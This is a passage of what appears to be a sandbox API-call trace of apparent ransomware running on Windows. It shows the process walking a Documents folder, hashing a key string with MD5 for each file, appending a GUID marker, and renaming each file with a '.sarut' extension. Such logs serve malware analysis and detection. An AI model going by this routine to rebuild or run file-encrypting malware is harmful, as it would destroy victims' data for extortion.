pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.261] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.261] GetLastError () returned 0x0 [0270.261] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.261] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.261] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.262] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x18f5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.262] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.262] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.262] CloseHandle (hObject=0x5c4) returned 1 [0270.264] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\S-tHiiR.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\s-thiir.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\S-tHiiR.pdf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\s-thiir.pdf.sarut")) returned 1 [0270.264] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.264] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.266] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.266] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c3f44e0, ftCreationTime.dwHighDateTime=0x1d4cdb0, ftLastAccessTime.dwLowDateTime=0xf00001a0, ftLastAccessTime.dwHighDateTime=0x1d4cbad, ftLastWriteTime.dwLowDateTime=0xf00001a0, ftLastWriteTime.dwHighDateTime=0x1d4cbad, nFileSizeHigh=0x0, nFileSizeLow=0x171b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spMPG 9xkkM.odp", cAlternateFileName="SPMPG9~1.ODP")) returned 1 [0270.266] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\spMPG 9xkkM.odp") returned=".odp" [0270.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\spMPG 9xkkM.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\spmpg 9xkkm.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.268] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=94643) returned 1 [0270.268] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.271] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1718d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.271] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.273] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x171b3, lpOverlapped=0x0) returned 1 [0270.274] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.274] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.274] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.274] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.275] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.275] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.275] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.275] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.275] GetLastError () returned 0x0 [0270.275] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.275] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.275] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.276] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x171b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.276] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.276] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.276] CloseHandle (hObject=0x5c4) returned 1 [0270.281] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\spMPG 9xkkM.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\spmpg 9xkkm.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\spMPG 9xkkM.odp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\spmpg 9xkkm.odp.sarut")) returned 1 [0270.282] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.282] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.283] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.283] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6370c60, ftCreationTime.dwHighDateTime=0x1d4d3d4, ftLastAccessTime.dwLowDateTime=0x934ba380, ftLastAccessTime.dwHighDateTime=0x1d4cc1e, ftLastWriteTime.dwLowDateTime=0x934ba380, ftLastWriteTime.dwHighDateTime=0x1d4cc1e, nFileSizeHigh=0x0, nFileSizeLow=0x10562, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tgy4aDx5L5gYbgCK1.doc", cAlternateFileName="TGY4AD~1.DOC")) returned 1 [0270.283] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\Tgy4aDx5L5gYbgCK1.doc") returned=".doc" [0270.283] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\Tgy4aDx5L5gYbgCK1.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\tgy4adx5l5gybgck1.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.284] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=66914) returned 1 [0270.284] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.287] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1053c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.287] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.288] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x10562, lpOverlapped=0x0) returned 1 [0270.289] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.289] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.289] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.289] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.290] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.290] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.290] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.290] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.290] GetLastError () returned 0x0 [0270.290] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.290] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.291] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.291] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x10562, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.291] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.291] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.291] CloseHandle (hObject=0x5c4) returned 1 [0270.296] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\Tgy4aDx5L5gYbgCK1.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\tgy4adx5l5gybgck1.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\Tgy4aDx5L5gYbgCK1.doc.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\tgy4adx5l5gybgck1.doc.sarut")) returned 1 [0270.297] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.297] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.299] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73c5f5a0, ftCreationTime.dwHighDateTime=0x1d4cedb, ftLastAccessTime.dwLowDateTime=0x88e23790, ftLastAccessTime.dwHighDateTime=0x1d4d107, ftLastWriteTime.dwLowDateTime=0x88e23790, ftLastWriteTime.dwHighDateTime=0x1d4d107, nFileSizeHigh=0x0, nFileSizeLow=0x12b4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UTVyOlBsO.pptx", cAlternateFileName="UTVYOL~1.PPT")) returned 1 [0270.299] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\UTVyOlBsO.pptx") returned=".pptx" [0270.299] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\UTVyOlBsO.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\utvyolbso.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.299] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=76621) returned 1 [0270.300] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.302] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12b27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.302] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.303] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x12b4d, lpOverlapped=0x0) returned 1 [0270.305] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.305] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.305] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.305] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.306] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.306] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.306] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.306] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.306] GetLastError () returned 0x0 [0270.306] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.306] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.307] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12b4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.307] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.307] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.307] CloseHandle (hObject=0x5c4) returned 1 [0270.309] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\UTVyOlBsO.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\utvyolbso.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\UTVyOlBsO.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\utvyolbso.pptx.sarut")) returned 1 [0270.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.310] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.311] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.311] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba147b40, ftCreationTime.dwHighDateTime=0x1d4c953, ftLastAccessTime.dwLowDateTime=0x359dba0, ftLastAccessTime.dwHighDateTime=0x1d4d544, ftLastWriteTime.dwLowDateTime=0x359dba0, ftLastWriteTime.dwHighDateTime=0x1d4d544, nFileSizeHigh=0x0, nFileSizeLow=0x4741, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WEpp.ppt", cAlternateFileName="")) returned 1 [0270.311] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\WEpp.ppt") returned=".ppt" [0270.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\WEpp.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\wepp.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.313] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=18241) returned 1 [0270.313] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.314] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x471b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.314] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.316] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x4741, lpOverlapped=0x0) returned 1 [0270.316] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.316] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.317] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.317] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.318] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.318] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.318] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.318] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.318] GetLastError () returned 0x0 [0270.318] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.318] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.318] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.318] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4741, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.318] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.318] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.318] CloseHandle (hObject=0x5c4) returned 1 [0270.320] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\WEpp.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\wepp.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\WEpp.ppt.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\wepp.ppt.sarut")) returned 1 [0270.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.321] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.322] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.322] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6602e730, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xc4f8e610, ftLastAccessTime.dwHighDateTime=0x1d4ca69, ftLastWriteTime.dwLowDateTime=0xc4f8e610, ftLastWriteTime.dwHighDateTime=0x1d4ca69, nFileSizeHigh=0x0, nFileSizeLow=0x11e9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x29MLGrvh.pptx", cAlternateFileName="X29MLG~1.PPT")) returned 1 [0270.322] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\x29MLGrvh.pptx") returned=".pptx" [0270.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\x29MLGrvh.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\x29mlgrvh.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0270.322] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=73372) returned 1 [0270.322] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0270.324] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11e76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.324] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0270.326] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x11e9c, lpOverlapped=0x0) returned 1 [0270.327] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.327] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.327] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0270.327] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0270.328] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0270.328] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0270.328] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0270.328] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0270.328] GetLastError () returned 0x0 [0270.328] CryptDestroyHash (hHash=0x3091560) returned 1 [0270.328] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0270.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0270.329] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11e9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.329] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0270.329] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0270.329] CloseHandle (hObject=0x5c4) returned 1 [0270.333] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\x29MLGrvh.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\x29mlgrvh.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\mbmFXME9ZArqIFJjiii\\x29MLGrvh.pptx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\mbmfxme9zarqifjjiii\\x29mlgrvh.pptx.sarut")) returned 1 [0270.334] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0270.334] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0270.335] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0270.335] 